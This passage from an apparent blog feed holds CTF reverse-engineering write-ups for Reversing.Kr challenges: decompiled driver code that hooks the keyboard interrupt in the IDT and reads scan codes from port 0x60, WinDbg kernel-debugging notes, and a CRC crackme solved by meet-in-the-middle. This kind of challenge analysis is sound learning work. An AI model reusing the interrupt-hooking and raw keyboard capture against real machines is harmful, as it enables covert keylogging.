v5; <span class="comment">// al</span></span><br><span class="line">  <span class="keyword">int</span> v6; <span class="comment">// eax</span></span><br><span class="line">  <span class="keyword">int</span> KINTERRUPT_ADDR; <span class="comment">// eax</span></span><br><span class="line">  <span class="keyword">char</span> v8[<span class="number">6</span>]; <span class="comment">// [esp+4h] [ebp-10h]</span></span><br><span class="line">  KAFFINITY Affinity; <span class="comment">// [esp+Ch] [ebp-8h]</span></span><br><span class="line">  KIRQL Irql; <span class="comment">// [esp+13h] [ebp-1h]</span></span><br><span class="line"></span><br><span class="line">  v4 = KeGetCurrentProcessorNumber();</span><br><span class="line">  v5 = HalGetInterruptVector(Isa, <span class="number">0</span>, <span class="number">1u</span>, <span class="number">1u</span>, &amp;Irql, &amp;Affinity);</span><br><span class="line">  __sidt(v8);</span><br><span class="line">  v6 = *(<span class="keyword">unsigned</span> __int16 *)(*(_DWORD *)&amp;v8[<span class="number">2</span>] + <span class="number">8</span> * v5) | (*(<span class="keyword">unsigned</span> __int16 *)(*(_DWORD *)&amp;v8[<span class="number">2</span>] + <span class="number">8</span> * v5 + <span class="number">6</span>) &lt;&lt; <span class="number">16</span>);</span><br><span class="line">  <span class="keyword">if</span> ( MajorVersion &lt; <span class="number">6</span> )                       <span class="comment">// windows xp</span></span><br><span class="line">    KINTERRUPT_ADDR = v6 - <span class="number">0x3C</span>;                <span class="comment">// //获取管理中断的中断对象（KINTERRUPT）的地址</span></span><br><span class="line">  <span class="keyword">else</span>                                          <span class="comment">// windows 7</span></span><br><span class="line">    KINTERRUPT_ADDR = v6 - <span class="number">0x58</span>;</span><br><span class="line">  _disable();</span><br><span class="line">  *((_DWORD *)P + v4) = *(_DWORD *)(KINTERRUPT_ADDR + <span class="number">12</span>);</span><br><span class="line">  *(_DWORD *)(KINTERRUPT_ADDR + <span class="number">12</span>) = sub_1108C;</span><br><span class="line">  _enable();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>接收exe发送的控制码并进行分析的函数在sub_0011288。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">int</span> __<span class="function">stdcall <span class="title">important</span><span class="params">(<span class="keyword">int</span> a1, PIRP Irp)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">int</span> v2; <span class="comment">// edx</span></span><br><span class="line">  _IRP *v3; <span class="comment">// eax</span></span><br><span class="line"></span><br><span class="line">  v2 = *(_DWORD *)(Irp-&gt;Tail.Overlay.PacketType + <span class="number">12</span>);</span><br><span class="line">  v3 = Irp-&gt;AssociatedIrp.MasterIrp;</span><br><span class="line">  <span class="keyword">if</span> ( v2 == <span class="number">0x1000</span> ) <span class="comment">// </span></span><br><span class="line">  &#123;</span><br><span class="line">    *(_DWORD *)&amp;v3-&gt;Type = <span class="number">1</span>;</span><br><span class="line">    dword_13030 = <span class="number">1</span>;</span><br><span class="line">    num = <span class="number">0</span>;</span><br><span class="line">    dword_13024 = <span class="number">0</span>;</span><br><span class="line">    flag = <span class="number">0</span>;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span> <span class="keyword">if</span> ( v2 == <span class="number">0x2000</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    dword_13030 = <span class="number">0</span>;</span><br><span class="line">    *(_DWORD *)&amp;v3-&gt;Type = dword_13024; <span class="comment">// dword_13024为最终校验值</span></span><br><span class="line">  &#125;</span><br><span class="line">  Irp-&gt;IoStatus.Status = <span class="number">0</span>;</span><br><span class="line">  Irp-&gt;IoStatus.Information = <span class="number">4</span>;</span><br><span class="line">  IofCompleteRequest(Irp, <span class="number">0</span>);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>监听键盘的函数在sub_0011266，通过端口<code>0x60</code>读取值，再调用sub_00111DC即processFromKeyboard进行处理。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">void</span> __<span class="function">stdcall <span class="title">listenKeyboard</span><span class="params">(struct _KDPC *Dpc, PVOID DeferredContext, PVOID SystemArgument1, PVOID SystemArgument2)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">char</span> v4; <span class="comment">// al</span></span><br><span class="line"></span><br><span class="line">  v4 = READ_PORT_UCHAR((PUCHAR)<span class="number">0x60</span>);</span><br><span class="line">  processFromKeyboard(v4);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>sub_00111DC函数即对键盘记录进行判断，逻辑较为简单（逐位校验），一开始让我困扰的是为什么只校验<strong>奇数位</strong>的值。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">int</span> __<span class="function">stdcall <span class="title">processFromKeyboard</span><span class="params">(<span class="keyword">char</span> a1)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">int</span> result; <span class="comment">// eax</span></span><br><span class="line">  <span class="keyword">bool</span> v2; <span class="comment">// zf</span></span><br><span class="line"></span><br><span class="line">  result = <span class="number">1</span>;</span><br><span class="line">  <span class="keyword">if</span> ( flag != <span class="number">1</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="keyword">switch</span> ( num )</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="keyword">case</span> <span class="number">0</span>:</span><br><span class="line">      <span class="keyword">case</span> <span class="number">2</span>:</span><br><span class="line">      <span class="keyword">case</span> <span class="number">4</span>:</span><br><span class="line">      <span class="keyword">case</span> <span class="number">6</span>:</span><br><span class="line">        <span class="keyword">goto</span> LABEL_3;</span><br><span class="line">      <span class="keyword">case</span> <span class="number">1</span>:</span><br><span class="line">        v2 = a1 == <span class="number">0xA5</span>u;</span><br><span class="line">        <span class="keyword">goto</span> LABEL_6;</span><br><span class="line">      <span class="keyword">case</span> <span class="number">3</span>:</span><br><span class="line">        v2 = a1 == <span class="number">0x92</span>u;</span><br><span class="line">        <span class="keyword">goto</span> LABEL_6;</span><br><span class="line">      <span class="keyword">case</span> <span class="number">5</span>:</span><br><span class="line">        v2 = a1 == <span class="number">0x95</span>u;</span><br><span class="line">LABEL_6:</span><br><span class="line">        <span class="keyword">if</span> ( !v2 )</span><br><span class="line">          <span class="keyword">goto</span> LABEL_7;</span><br><span class="line">LABEL_3:</span><br><span class="line">        ++num;</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">      <span class="keyword">case</span> <span class="number">7</span>:</span><br><span class="line">        <span class="keyword">if</span> ( a1 == <span class="number">0xB0</span>u )</span><br><span class="line">          num = <span class="number">100</span>;</span><br><span class="line">        <span class="keyword">else</span></span><br><span class="line">LABEL_7:</span><br><span class="line">          flag = <span class="number">1</span>;</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">      <span class="keyword">default</span>:</span><br><span class="line">        result = sub_11156(a1);</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>后来猜测是键的按下与弹起均有相应的值，百度搜到了一个<a href="https://blog.csdn.net/firas/article/details/26267573" target="_blank" rel="noopener">表</a>。</p><p>一一对应就能得到最后的key了（里面的e值有误），有一个坑是case 203别漏了，值和case 205一样。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">int</span> __<span class="function">stdcall <span class="title">sub_110D0</span><span class="params">(<span class="keyword">char</span> a1)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">int</span> result; <span class="comment">// eax</span></span><br><span class="line">  <span class="keyword">char</span> v2; <span class="comment">// cl</span></span><br><span class="line">  <span class="keyword">bool</span> v3; <span class="comment">// zf</span></span><br><span class="line"></span><br><span class="line">  result = num - <span class="number">200</span>;</span><br><span class="line">  v2 = a1 ^ <span class="number">5</span>;</span><br><span class="line">  <span class="keyword">switch</span> ( num )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="keyword">case</span> <span class="number">200</span>:</span><br><span class="line">    <span class="keyword">case</span> <span class="number">202</span>:</span><br><span class="line">    <span class="keyword">case</span> <span class="number">204</span>:</span><br><span class="line">    <span class="keyword">case</span> <span class="number">206</span>:</span><br><span class="line">      <span class="keyword">goto</span> LABEL_2;</span><br><span class="line">    <span class="keyword">case</span> <span class="number">201</span>:</span><br><span class="line">      v3 = v2 == <span class="number">0xB4</span>u;</span><br><span class="line">      <span class="keyword">goto</span> LABEL_4;</span><br><span class="line">    <span class="keyword">case</span> <span class="number">203</span>: <span class="comment">// 和case 205一样！！！</span></span><br><span class="line">    <span class="keyword">case</span> <span class="number">205</span>:</span><br><span class="line">      v3 = v2 == <span class="number">0x8F</span>u;</span><br></pre></td></tr></table></figure><h2 id="windbg调试过程"><a href="#windbg调试过程" class="headerlink" title="windbg调试过程"></a>windbg调试过程</h2><p>其实这题一开始是用windbg+双机（win10+winxp）联调做的，但不知道为啥win10在驱动中下的断点一直进不去，遂放弃了。。。</p><p>这里还是记录一下过程，关于双机配置什么的就跳过了，因为这环境是上学期病毒课配的，太久也忘了233。</p><p>windbg调试的命令如下</p><blockquote><p>p: 单步步过</p><p>t: 单步步入</p><p>g: 执行到断点</p><p>.reload: 重新加载</p><p>lm: ls modules</p><p>!drvobj name: 查看驱动对象name的信息</p></blockquote><p>在被调试机（winxp）中下断点在<code>bp 401280</code>，即最终调用<code>DeviceIoControl</code>的函数入口，<code>g</code>一下。</p><p>在点击Enable之后再<code>g</code>一下，变成check后回到调试机（win10）。</p><p>启动windbg，可以看到已经attach上了。</p><p><img src="https://s2.ax1x.com/2019/12/03/QKo4fJ.png" alt="QKo4fJ.png"></p><p><code>.reload</code>一下</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">kd&gt; .reload</span><br><span class="line">Connected to Windows XP 2600 x86 compatible target at (Tue Dec  3 11:54:38.786 2019 (UTC + 8:00)), ptr64 FALSE</span><br><span class="line">Loading Kernel Symbols</span><br><span class="line">...............................................................</span><br><span class="line">...........................................................</span><br><span class="line">Loading User Symbols</span><br><span class="line"></span><br><span class="line">Loading unloaded module list</span><br><span class="line">............................................</span><br></pre></td></tr></table></figure><p><code>lm</code>一下，如下，无关紧要的信息都略去了。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">kd&gt; lm</span><br><span class="line">start    end        module name</span><br><span class="line">804d7000 806d0680   nt         (pdb symbols)          f:\大三下\2019.4.17计算机病毒与防治\symbols\ntkrnlpa.pdb\7E4571CB945F42D182C86ABEBEA8E44D1\ntkrnlpa.pdb         </span><br><span class="line">f791d000 f7923000   WinKer     (deferred)           </span><br><span class="line">      </span><br><span class="line"></span><br><span class="line">Unloaded modules:</span><br><span class="line">edc86000 edcb1000   kmixer.sys</span><br><span class="line">f78bd000 f78c3000   WinKer.sys</span><br></pre></td></tr></table></figure><p>可以看到驱动<code>WinKr.sys</code>的起始地址为<code>0xf791d000</code>，加上想要断的函数偏移，比如函数<code>processFromKeyboard</code>的偏移是0x1DC，那么就<code>bp f791d1dc</code>。</p><p>但是没用就很尴尬了。。。</p><p>以上。</p><h2 id="参考链接"><a href="#参考链接" class="headerlink" title="参考链接"></a>参考链接</h2><p>[1]<a href="https://ezbeat.tistory.com/301" target="_blank" rel="noopener">IDT挂接注意事项</a></p><p>[2]<a href="https://ezbeat.tistory.com/302" target="_blank" rel="noopener">动态获取中断向量值（APIC描述。）</a></p><p>[3]<a href="https://blog.csdn.net/firas/article/details/26267573" target="_blank" rel="noopener">keyboard scan code 表</a></p><p>[4]<a href="https://github.com/L1B0/malwareAnalysis/tree/master/Lab_10" target="_blank" rel="noopener">malwareAnalysis-Lab10-kernel-debug</a></p>]]></content>
    
    <summary type="html">
    
      &lt;blockquote&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/L1B0/CTF/tree/master/Reversing-Kr/WindowKernel&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;题目及脚本&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;做完这题到2k分了:-)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://s2.ax1x.com/2019/12/03/QKcEHs.png&quot; alt=&quot;QKcEHs.png&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;解题思路&quot;&gt;&lt;a href=&quot;#解题思路&quot; class=&quot;headerlink&quot; title=&quot;解题思路&quot;&gt;&lt;/a&gt;解题思路&lt;/h2&gt;&lt;p&gt;题目给了一个exe和一个sys驱动，均为32位。注意程序应放到&lt;strong&gt;x86系统&lt;/strong&gt;运行，不然驱动无法加载成功。&lt;/p&gt;
&lt;p&gt;先运行一下，当驱动加载成功后如下图。要进行输入需先点击&lt;code&gt;Enable&lt;/code&gt;按钮。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s2.ax1x.com/2019/12/03/QKcYU1.png&quot; alt=&quot;QKcYU1.png&quot;&gt;&lt;/p&gt;
&lt;p&gt;然后进行输入，按键时会明显发现有一定的延迟，结合提示&lt;code&gt;keyboard&lt;/code&gt;可以猜测驱动获取了键盘输入进行处理。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s2.ax1x.com/2019/12/03/QKcLGV.png&quot; alt=&quot;QKcLGV.png&quot;&gt;&lt;/p&gt;
    
    </summary>
    
    
      <category term="CTF" scheme="https://l1b0.fun/categories/CTF/"/>
    
    
      <category term="Reverse" scheme="https://l1b0.fun/tags/Reverse/"/>
    
      <category term="Reversing-Kr" scheme="https://l1b0.fun/tags/Reversing-Kr/"/>
    
      <category term="Windbg" scheme="https://l1b0.fun/tags/Windbg/"/>
    
  </entry>
  
  <entry>
    <title>Reversing-Kr CRC1 Writeup</title>
    <link href="https://l1b0.fun/6428e4/"/>
    <id>https://l1b0.fun/6428e4/</id>
    <published>2019-11-30T11:53:12.000Z</published>
    <updated>2019-12-05T08:27:42.451Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><a href="https://github.com/L1B0/CTF/tree/master/Reversing-Kr/CRC1" target="_blank" rel="noopener">题目及脚本</a></p><p>这题的解法参考了<a href="https://github.com/DoubleLabyrinth/reversing.kr/tree/master/CRC1" target="_blank" rel="noopener">DoubleLabyrinth</a>的想法。</p></blockquote><h2 id="解题思路"><a href="#解题思路" class="headerlink" title="解题思路"></a>解题思路</h2><p>题目是一个32位的exe，用ida打开看逻辑。</p><p>关键函数伪码如下</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">int</span> __<span class="function">cdecl <span class="title">sub_401070</span><span class="params">(HWND hDlg)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">unsigned</span> <span class="keyword">int</span> v1; <span class="comment">// ecx@2</span></span><br><span class="line">  <span class="keyword">char</span> v2; <span class="comment">// al@2</span></span><br><span class="line">  <span class="keyword">char</span> *v3; <span class="comment">// edi@2</span></span><br><span class="line">  <span class="keyword">char</span> *v4; <span class="comment">// esi@2</span></span><br><span class="line">  <span class="keyword">int</span> v5; <span class="comment">// ecx@2</span></span><br><span class="line">  <span class="keyword">signed</span> <span class="keyword">int</span> v6; <span class="comment">// eax@2</span></span><br><span class="line">  <span class="keyword">char</span> *v7; <span class="comment">// ecx@2</span></span><br><span class="line">  <span class="keyword">char</span> v8; <span class="comment">// dl@3</span></span><br><span class="line">  <span class="keyword">unsigned</span> __int64 v9; <span class="comment">// rax@4</span></span><br><span class="line">  <span class="keyword">signed</span> <span class="keyword">int</span> v10; <span class="comment">// esi@4</span></span><br><span class="line">  <span class="keyword">int</span> v11; <span class="comment">// edi@5</span></span><br><span class="line">  <span class="keyword">unsigned</span> __int64 v12; <span class="comment">// rax@5</span></span><br><span class="line">  <span class="keyword">int</span> v13; <span class="comment">// edi@5</span></span><br><span class="line">  CHAR String; <span class="comment">// [sp+8h] [bp-114h]@1</span></span><br><span class="line">  <span class="keyword">int</span> v16; <span class="comment">// [sp+9h] [bp-113h]@1</span></span><br><span class="line">  <span class="keyword">int</span> v17; <span class="comment">// [sp+Dh] [bp-10Fh]@1</span></span><br><span class="line">  <span class="keyword">int</span> v18; <span class="comment">// [sp+11h] [bp-10Bh]@1</span></span><br><span class="line">  <span class="keyword">int</span> v19; <span class="comment">// [sp+15h] [bp-107h]@1</span></span><br><span class="line">  __int16 v20; <span class="comment">// [sp+19h] [bp-103h]@1</span></span><br><span class="line">  <span class="keyword">char</span> v21; <span class="comment">// [sp+1Bh] [bp-101h]@1</span></span><br><span class="line">  <span class="keyword">char</span> v22; <span class="comment">// [sp+1Ch] [bp-100h]@1</span></span><br><span class="line">  <span class="keyword">char</span> v23; <span class="comment">// [sp+1Dh] [bp-FFh]@1</span></span><br><span class="line">  __int16 v24; <span class="comment">// [sp+119h] [bp-3h]@1</span></span><br><span class="line">  <span class="keyword">char</span> v25; <span class="comment">// [sp+11Bh] [bp-1h]@1</span></span><br><span class="line"></span><br><span class="line">  v22 = <span class="number">0</span>;</span><br><span class="line">  <span class="built_in">memset</span>(&amp;v23, <span class="number">0</span>, <span class="number">0xFC</span>u);</span><br><span class="line">  v24 = <span class="number">0</span>;</span><br><span class="line">  v25 = <span class="number">0</span>;</span><br><span class="line">  v16 = <span class="number">0</span>;</span><br><span class="line">  v17 = <span class="number">0</span>;</span><br><span class="line">  v18 = <span class="number">0</span>;</span><br><span class="line">  v19 = <span class="number">0</span>;</span><br><span class="line">  v20 = <span class="number">0</span>;</span><br><span class="line">  String = <span class="number">0</span>;</span><br><span class="line">  v21 = <span class="number">0</span>;</span><br><span class="line">  <span class="keyword">if</span> ( GetDlgItemTextA(hDlg, <span class="number">1000</span>, &amp;String, <span class="number">20</span>) != <span class="number">8</span> )</span><br><span class="line">    <span class="keyword">goto</span> LABEL_13;</span><br><span class="line">  v1 = <span class="built_in">strlen</span>((<span class="keyword">const</span> <span class="keyword">char</span> *)&amp;unk_406030) + <span class="number">1</span>;</span><br><span class="line">  v2 = v1;</span><br><span class="line">  v1 &gt;&gt;= <span class="number">2</span>;</span><br><span class="line">  qmemcpy(&amp;v22, &amp;unk_406030, <span class="number">4</span> * v1);</span><br><span class="line">  v4 = (<span class="keyword">char</span> *)&amp;unk_406030 + <span class="number">4</span> * v1;</span><br><span class="line">  v3 = &amp;v22 + <span class="number">4</span> * v1;</span><br><span class="line">  v5 = v2 &amp; <span class="number">3</span>;</span><br><span class="line">  v6 = <span class="number">0</span>;</span><br><span class="line">  qmemcpy(v3, v4, v5);</span><br><span class="line">  v7 = &amp;v22;</span><br><span class="line">  <span class="keyword">do</span></span><br><span class="line">  &#123;</span><br><span class="line">    v8 = *(&amp;String + v6++);</span><br><span class="line">    *v7 = v8;</span><br><span class="line">    v7 += <span class="number">16</span>;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">while</span> ( v6 &lt; <span class="number">8</span> ); <span class="comment">// 将string嵌入key中</span></span><br><span class="line">  v9 = <span class="number">0</span>i64;</span><br><span class="line">  v10 = <span class="number">0</span>;</span><br><span class="line">  <span class="keyword">do</span></span><br><span class="line">  &#123;</span><br><span class="line">    v11 = (<span class="keyword">unsigned</span> __int8)v9 ^ (<span class="keyword">unsigned</span> __int8)*(&amp;v22 + v10); <span class="comment">// 取v9的低字节与字符串hellowelcome做异或</span></span><br><span class="line">    v12 = v9 &gt;&gt; <span class="number">8</span>; <span class="comment">// 舍弃v9的低字节</span></span><br><span class="line">    LODWORD(v9) = v12 ^ dword_4085E8[<span class="number">2</span> * v11]; <span class="comment">// 低四个字节之间异或</span></span><br><span class="line">    v13 = HIDWORD(v9) ^ dword_4085EC[<span class="number">2</span> * v11]; <span class="comment">// v9的高三个字节与密钥异或</span></span><br><span class="line">      <span class="comment">// 这里的HIDWORD(v9)实际上是v12的前四个字节，通过汇编或动态调试可以看得更清楚。</span></span><br><span class="line">    ++v10;</span><br><span class="line">    HIDWORD(v9) = v13;</span><br><span class="line">  &#125; </span><br><span class="line">  <span class="keyword">while</span> ( v10 &lt; <span class="number">256</span> ); <span class="comment">// 256轮</span></span><br><span class="line">  <span class="keyword">if</span> ( (_DWORD)v9 != <span class="number">0x5F695F6C</span> || v13 != <span class="number">0x676F5F67</span> ) <span class="comment">// 校验结果</span></span><br><span class="line">  &#123;</span><br><span class="line">LABEL_13:</span><br><span class="line">    MessageBeep(<span class="number">0x30</span>u);</span><br><span class="line">    SetDlgItemTextA(hDlg, <span class="number">1001</span>, ::String);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">  &#123;</span><br><span class="line">    MessageBeep(<span class="number">0x40</span>u);</span><br><span class="line">    SetDlgItemTextA(hDlg, <span class="number">1001</span>, aCorrect);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><a id="more"></a><p>逻辑看似简单，但要完全理解最好通过动态调试加深印象。</p><p>题目中包含两个重要数据，一个是包含输入的v22，也就是<code>_[Hello___Welcome To Reversing.Kr]__The idea of the algorithm came out of the codeengn challenge__This algorithm very FXCK__But you can solve it!!__Impossible is Impossible_()_[]_()_[]_()_[]_()_[]_()_[]_()_[]_()_[]_()_[]_()_[]_()_[]_()_[]_()_[]_()_[]_()_[</code>；另一个是用来与key做异或的dword_4085E8，它包含256个大小为64位的16进制数，并且这些16进制数的<strong>最高位字节互不重复</strong>，需要在调试的时候才能看见。</p><p>算法的逻辑并不复杂，实际的加密过程用c实现也就10来行。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">ll <span class="title">encrypt</span><span class="params">(ll k, uc pd[<span class="number">8</span>])</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="keyword">for</span>(<span class="keyword">int</span> i=<span class="number">0</span>;i&lt;<span class="number">8</span>;i++)</span><br><span class="line">    &#123;</span><br><span class="line">        s[i*<span class="number">16</span>] = pd[i];</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">for</span>(<span class="keyword">int</span> i=<span class="number">0</span>;i&lt;<span class="number">256</span>;i++)</span><br><span class="line">    &#123;</span><br><span class="line">        uc t = (k&amp;<span class="number">0xff</span>)^s[i];</span><br><span class="line">        k = k &gt;&gt; <span class="number">8</span>;</span><br><span class="line">        k = k ^ dword_4085E8[t];</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> k;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>如果在知道密钥的前提下解密过程也很简单。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">ll <span class="title">decrypt</span><span class="params">(ll k, uc pd[<span class="number">8</span>])</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="keyword">for</span>(<span class="keyword">int</span> i=<span class="number">0</span>;i&lt;<span class="number">8</span>;i++)</span><br><span class="line">    &#123;</span><br><span class="line">        s[i*<span class="number">16</span>] = pd[i];</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">for</span>(<span class="keyword">int</span> i=<span class="number">255</span>;i&gt;=<span class="number">0</span>;i--)</span><br><span class="line">    &#123;</span><br><span class="line">        uc t = reverse_i[k&gt;&gt;<span class="number">56</span>]; <span class="comment">// reverse_i 就是在dword_4085E8中下标与每个数的高位字节的映射关系颠倒</span></span><br><span class="line"></span><br><span class="line">        k = k ^ dword_4085E8[t];</span><br><span class="line">    k = (k &lt;&lt; <span class="number">8</span>) + (s[i]^t);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> k;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>但要解的就是密钥，长度为8，范围暂时为可见字符。</p><p>如果要强行爆破的话<code>(127-32)**8 = 6634204312890625</code>，是不太可能的。</p><p>这里参考了<strong>DoubleLabyrinth</strong>的解法，很巧妙。将密钥一分为二，一半用来爆破加密的中间结果，一半用来爆破解密的中间结果，最后将中间结果排序，然后以<strong>线性时间的复杂度</strong>比较两者找出相等的结果，从而得到密钥。这样的爆破范围为<code>(127-32)**4 = 81450625</code>，可以接受。</p><h2 id="解题脚本"><a href="#解题脚本" class="headerlink" title="解题脚本"></a>解题脚本</h2><p>脚本跑完花了20多分钟</p><p><img src="https://s2.ax1x.com/2019/11/30/QZpWZt.png" alt="QZpWZt.png"></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span 